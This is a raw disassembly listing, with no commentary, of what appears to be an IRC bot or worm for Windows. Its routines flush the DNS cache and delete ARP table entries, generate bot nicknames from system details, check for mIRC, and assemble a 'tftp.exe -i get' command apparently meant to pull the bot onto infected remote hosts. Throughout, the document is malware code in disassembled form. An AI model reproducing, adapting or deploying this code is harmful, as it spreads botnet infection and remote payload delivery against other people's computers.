push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A675: ; CODE XREF: sub_40A5C5+82j
cmp dword_4CBABC, esi
jz short loc_40A6A9
push dword_4CBAC0
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j
cmp dword_4CBAC4, esi
jz short loc_40A6DD
push dword_4CBAC8
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj
cmp dword_4CBACC, esi
jz short loc_40A711
push dword_4CBAD0
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A711: ; CODE XREF: sub_40A5C5+11Ej
cmp dword_4CBAD4, esi
jz short loc_40A745
push dword_4CBAD8
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A745: ; CODE XREF: sub_40A5C5+152j
cmp dword_4CBADC, esi
jz short loc_40A779
push dword_4CBAE0
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A779: ; CODE XREF: sub_40A5C5+186j
cmp dword_4CBAE4, esi
jz short loc_40A7AD
push dword_4CBAE8
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj
cmp dword_4CBAEC, esi
jz short loc_40A7E1
push dword_4CBAF0
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj
cmp dword_4CBAF4, esi
jz short loc_40A815
push dword_4CBAF8
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A815: ; CODE XREF: sub_40A5C5+222j
cmp dword_4CBAFC, esi
jz short loc_40A849
push dword_4CBB00
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A849: ; CODE XREF: sub_40A5C5+256j
cmp dword_4CBB04, esi
jz short loc_40A87D
push dword_4CBB08
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj
cmp dword_4CBB0C, esi
jz short loc_40A8B1
push dword_4CBB10
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
loc_40A897: ; DATA XREF: .packed:00433214o
; .packed:00433258o ...
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj
lea eax, [ebp+var_200]
push offset unk_42D6CC
push eax
call sub_41C266
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A8DE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40A8DE: ; CODE XREF: sub_40A5C5+302j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A5C5 endp
; =============== S U B R O U T I N E =======================================
sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5BC5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA24 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40A918
push [esp+arg_0]
call dword_4CBA68 ; gethostbyname
test eax, eax
jnz short loc_40A911
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40A911: ; CODE XREF: sub_40A8F0+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A918: ; CODE XREF: sub_40A8F0+Dj
retn
sub_40A8F0 endp
; =============== S U B R O U T I N E =======================================
sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CB900
xor eax, eax
test ecx, ecx
jz short locret_40A927
call ecx ; DnsFlushResolverCache
locret_40A927: ; CODE XREF: sub_40A919+Aj
retn
sub_40A919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CBA60 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40A9EE
sub ecx, 32h
jz loc_40A9E7
sub ecx, 48h
jz short loc_40A988
sub ecx, 6Eh
jz short loc_40A981
loc_40A96A: ; CODE XREF: sub_40A928+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42D8E0
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40A9C8
; ---------------------------------------------------------------------------
loc_40A981: ; CODE XREF: sub_40A928+40j
push offset unk_42D8BC
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A988: ; CODE XREF: sub_40A928+3Bj
push [ebp+var_8]
call sub_41BEB5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41BF70
add esp, 10h
cmp esi, edi
jz short loc_40A9B5
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CBA60 ; GetIpNetTable
cmp eax, edi
jz short loc_40A9EE
jmp short loc_40A96A
; ---------------------------------------------------------------------------
loc_40A9B5: ; CODE XREF: sub_40A928+79j
push offset unk_42D88C
loc_40A9BA: ; CODE XREF: sub_40A928+5Ej
; sub_40A928+C4j
lea eax, [ebp+var_88]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40A9C8: ; CODE XREF: sub_40A928+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_415D38
pop ecx
loc_40A9D8: ; CODE XREF: sub_40A928+C8j
; sub_40A928+DCj
push esi
call sub_41BA91
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A9E7: ; CODE XREF: sub_40A928+32j
push offset unk_42D85C
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A9EE: ; CODE XREF: sub_40A928+29j
; sub_40A928+89j
cmp [esi], edi
jbe short loc_40A9D8
lea ebx, [esi+4]
loc_40A9F5: ; CODE XREF: sub_40A928+DAj
push ebx
call dword_4CBA5C ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A9F5
jmp short loc_40A9D8
sub_40A928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp
; sub_401ACD+233Ep ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CB988 ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CBB14
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41C266
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AA06 endp
; =============== S U B R O U T I N E =======================================
sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp
; sub_413694+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AA88
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AA7B: ; CODE XREF: sub_40AA5F+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AA7B
pop edi
jmp short loc_40AA8C
; ---------------------------------------------------------------------------
loc_40AA88: ; CODE XREF: sub_40AA5F+Aj
mov edx, [esp+4+arg_0]
loc_40AA8C: ; CODE XREF: sub_40AA5F+27j
test esi, esi
pop esi
jz short loc_40AA96
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AA96: ; CODE XREF: sub_40AA5F+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AA5F endp
; =============== S U B R O U T I N E =======================================
sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p
; DATA XREF: .packed:off_42D928o
arg_0 = dword ptr 4
push esi
push edi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42D9A4[edx*4]
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AB14
loc_40AAEE: ; CODE XREF: sub_40AAAC+66j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B8A4
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AAEE
loc_40AB14: ; CODE XREF: sub_40AAAC+40j
mov eax, edi
pop edi
pop esi
retn
sub_40AAAC endp
; ---------------------------------------------------------------------------
push esi
push edi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
mov edi, [esp+10h]
mov dword ptr [esp], offset asc_429140 ; "-"
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AB72
loc_40AB4C: ; CODE XREF: .packed:0040AB70j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B8A4
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AB4C
loc_40AB72: ; CODE XREF: .packed:0040AB4Aj
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ABBA
loc_40ABA4: ; CODE XREF: sub_40AB77+41j
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ABA4
loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AB77 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_4315FC
push eax
push esi
call dword_4270C8 ; GetComputerNameA
movsx eax, byte_4315FC
push 41h
pop ecx
push 1
pop edx
loc_40AC00: ; CODE XREF: .packed:0040AC0Bj
cmp eax, ecx
jnz short loc_40AC07
mov [ebp-4], edx
loc_40AC07: ; CODE XREF: .packed:0040AC02j
inc ecx
cmp ecx, 5Bh
jl short loc_40AC00
push 61h
pop ecx
loc_40AC10: ; CODE XREF: .packed:0040AC1Bj
cmp eax, ecx
jnz short loc_40AC17
mov [ebp-4], edx
loc_40AC17: ; CODE XREF: .packed:0040AC12j
inc ecx
cmp ecx, 7Bh
jl short loc_40AC10
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AC5C
loc_40AC36: ; CODE XREF: .packed:0040AC5Aj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B8A4
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AC36
loc_40AC5C: ; CODE XREF: .packed:0040AC34j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_4270CC ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_431600
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ACD1
loc_40ACAB: ; CODE XREF: .packed:0040ACCFj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B8A4
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACAB
loc_40ACD1: ; CODE XREF: .packed:0040ACA9j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43DB98
mov dword ptr [ebp-94h], 94h
call dword_4270D0 ; GetVersionExA
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AD5B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD3B
cmp dword ptr [ebp-84h], 1
jnz short loc_40AD2B
mov esi, offset dword_431628
loc_40AD2B: ; CODE XREF: .packed:0040AD24j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AD97
mov esi, offset dword_431624
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD3B: ; CODE XREF: .packed:0040AD1Bj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AD4B
mov esi, offset dword_431620
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD4B: ; CODE XREF: .packed:0040AD42j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AD92
mov esi, offset dword_43161C
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD5B: ; CODE XREF: .packed:0040AD12j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AD92
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD74
mov esi, offset dword_431618
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD74: ; CODE XREF: .packed:0040AD6Bj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AD84
mov esi, offset dword_431614
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD84: ; CODE XREF: .packed:0040AD7Bj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_431610
jz short loc_40AD97
loc_40AD92: ; CODE XREF: .packed:0040AD52j
; .packed:0040AD62j
mov esi, offset dword_43160C
loc_40AD97: ; CODE XREF: .packed:0040AD32j
; .packed:0040AD39j ...
mov edi, [ebp+8]
push esi
push offset dword_431604
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ADDB
loc_40ADB5: ; CODE XREF: .packed:0040ADD9j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B8A4
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ADB5
loc_40ADDB: ; CODE XREF: .packed:0040ADB3j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40AE30
call dword_4CB9F0 ; FindWindowA
test eax, eax
mov eax, offset dword_431634
jnz short loc_40AE19
mov eax, offset byte_43DB98
loc_40AE19: ; CODE XREF: sub_40ADE1+31j
push eax
push esi
push offset dword_43162C
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41C360
add esp, 14h
jmp short loc_40AE50
; ---------------------------------------------------------------------------
loc_40AE30: ; CODE XREF: sub_40ADE1+22j
call dword_4CB9F0 ; FindWindowA
test eax, eax
mov eax, offset dword_431634
jnz short loc_40AE44
mov eax, offset byte_43DB98
loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41B9C0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40AE7F
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41CBC0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 18h
loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40ADE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42D924
loc_40AE90: ; CODE XREF: sub_40AE84+3Fj
cmp [ebp+arg_C], 0
jz short loc_40AEAB
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41CA50
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AEB5
; ---------------------------------------------------------------------------
loc_40AEAB: ; CODE XREF: sub_40AE84+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AEB5: ; CODE XREF: sub_40AE84+25j
test eax, eax
jnz short loc_40AEC7
add esi, 14h
inc edi
cmp esi, offset off_42D9B0
jb short loc_40AE90
jmp short loc_40AED5
; ---------------------------------------------------------------------------
loc_40AEC7: ; CODE XREF: sub_40AE84+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42D928[eax*4]
pop ecx
loc_40AED5: ; CODE XREF: sub_40AE84+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40AEE8
push [ebp+arg_0]
call sub_40ADE1
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AEE8: ; CODE XREF: sub_40AE84+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AE84 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0B8h
push ebx
push esi
lea eax, [ebp-0B8h]
push edi
push eax
mov edi, offset byte_43DB98
mov dword ptr [ebp-0B8h], 94h
call dword_4270D0 ; GetVersionExA
cmp dword ptr [ebp-0B4h], 4
push 0Ah
pop ebx
jnz short loc_40AF67
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF48
cmp dword ptr [ebp-0A8h], 1
jnz short loc_40AF38
mov edi, offset dword_431628
loc_40AF38: ; CODE XREF: .packed:0040AF31j
cmp dword ptr [ebp-0A8h], 2
jnz short loc_40AFA3
mov edi, offset dword_431624
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF48: ; CODE XREF: .packed:0040AF28j
cmp [ebp-0B0h], ebx
jnz short loc_40AF57
mov edi, offset dword_431620
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF57: ; CODE XREF: .packed:0040AF4Ej
cmp dword ptr [ebp-0B0h], 5Ah
jnz short loc_40AF9E
mov edi, offset dword_43161C
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF67: ; CODE XREF: .packed:0040AF1Fj
cmp dword ptr [ebp-0B4h], 5
jnz short loc_40AF9E
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF80
mov edi, offset dword_431618
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF80: ; CODE XREF: .packed:0040AF77j
cmp dword ptr [ebp-0B0h], 1
jnz short loc_40AF90
mov edi, offset dword_431614
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF90: ; CODE XREF: .packed:0040AF87j
cmp dword ptr [ebp-0B0h], 2
mov edi, offset dword_43168C
jz short loc_40AFA3
loc_40AF9E: ; CODE XREF: .packed:0040AF5Ej
; .packed:0040AF6Ej
mov edi, offset dword_431688
loc_40AFA3: ; CODE XREF: .packed:0040AF3Fj
; .packed:0040AF46j ...
lea eax, [ebp-0A4h]
push offset word_4CB89C
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40AFC1
mov esi, offset dword_431684
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFC1: ; CODE XREF: .packed:0040AFB8j
lea eax, [ebp-0A4h]
push offset a1 ; "1"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFDF
mov esi, offset sub_431680
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFDF: ; CODE XREF: .packed:0040AFD6j
lea eax, [ebp-0A4h]
push offset dword_43167C
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFFD
mov esi, offset dword_431678
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFFD: ; CODE XREF: .packed:0040AFF4j
lea eax, [ebp-0A4h]
push offset dword_431674
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40B01B
mov esi, offset dword_431670
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40B01B: ; CODE XREF: .packed:0040B012j
lea eax, [ebp-0A4h]
push offset dword_43166C
push eax
call sub_41C2E0
pop ecx
mov esi, offset dword_431668
test eax, eax
pop ecx
jnz short loc_40B03C
mov esi, offset off_431664
loc_40B03C: ; CODE XREF: .packed:0040AFBFj
; .packed:0040AFDDj ...
lea eax, [ebp-0Ch]
or dword ptr [ebp-4], 0FFFFFFFFh
push eax
or dword ptr [ebp-8], 0FFFFFFFFh
or dword ptr [ebp-0Ch], 0FFFFFFFFh
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 0
call sub_41ADD8
pop ecx
push eax
call sub_41CCE3
mov eax, [ebp-4]
add esp, 14h
cmp eax, ebx
jge short loc_40B086
push eax
push offset a0D ; "0%d"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
add esp, 10h
jmp short loc_40B0AA
; ---------------------------------------------------------------------------
loc_40B086: ; CODE XREF: .packed:0040B06Fj
cmp eax, 64h
jge short loc_40B098
lea ecx, [ebp-18h]
push ebx
push ecx
push eax
call sub_42635C
jmp short loc_40B0A7
; ---------------------------------------------------------------------------
loc_40B098: ; CODE XREF: .packed:0040B089j
push offset a99 ; "99"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
loc_40B0A7: ; CODE XREF: .packed:0040B096j
add esp, 0Ch
loc_40B0AA: ; CODE XREF: .packed:0040B084j
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-24h]
push ebx
push eax
push 7
push 800h
call dword_4270CC ; GetLocaleInfoA
lea eax, [ebp-18h]
push eax
push esi
lea eax, [ebp-24h]
push edi
mov edi, [ebp+8]
push eax
push offset aSSSS ; "%s|%s|%s|%s|"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 1Ch
cmp dword_429098, esi
jle short loc_40B115
loc_40B0F0: ; CODE XREF: .packed:0040B113j
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
push edx
push edi
push offset dword_42B8A4
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40B0F0
loc_40B115: ; CODE XREF: .packed:0040B0EEj
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap
; sub_40B214+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B9C0
push [esp+8+arg_4]
mov esi, eax
call sub_41B9C0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40B11C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B13C proc near ; CODE XREF: sub_40B22B+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40B11C
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40B159
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B159: ; CODE XREF: sub_40B13C+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_41B9C0
push [ebp+arg_C]
mov esi, eax
call sub_41B9C0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_431724, eax
lea eax, [edi+1]
mov dword_431745, eax
lea eax, [edi+17h]
mov dword_43173D, eax
pop eax
push 74h
sub eax, edi
push offset dword_4316C0
push ebx
mov dword_431753, eax
call sub_41CD20
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_41CD20
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_41CD20
add esi, edi
push 38h
add esi, ebx
push offset byte_431749
push esi
call sub_41CD20
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40B13C endp
; =============== S U B R O U T I N E =======================================
sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40B11C
push eax
call sub_40B298
add esp, 0Ch
retn
sub_40B214 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_40B214
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_40B24B
cmp eax, 0FFFFh
jbe short loc_40B24F
loc_40B24B: ; CODE XREF: sub_40B22B+17j
xor eax, eax
jmp short loc_40B294
; ---------------------------------------------------------------------------
loc_40B24F: ; CODE XREF: sub_40B22B+1Ej
push esi
push edi
push ebx
call sub_40B11C
add eax, 101h
push eax
call sub_41BEB5
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
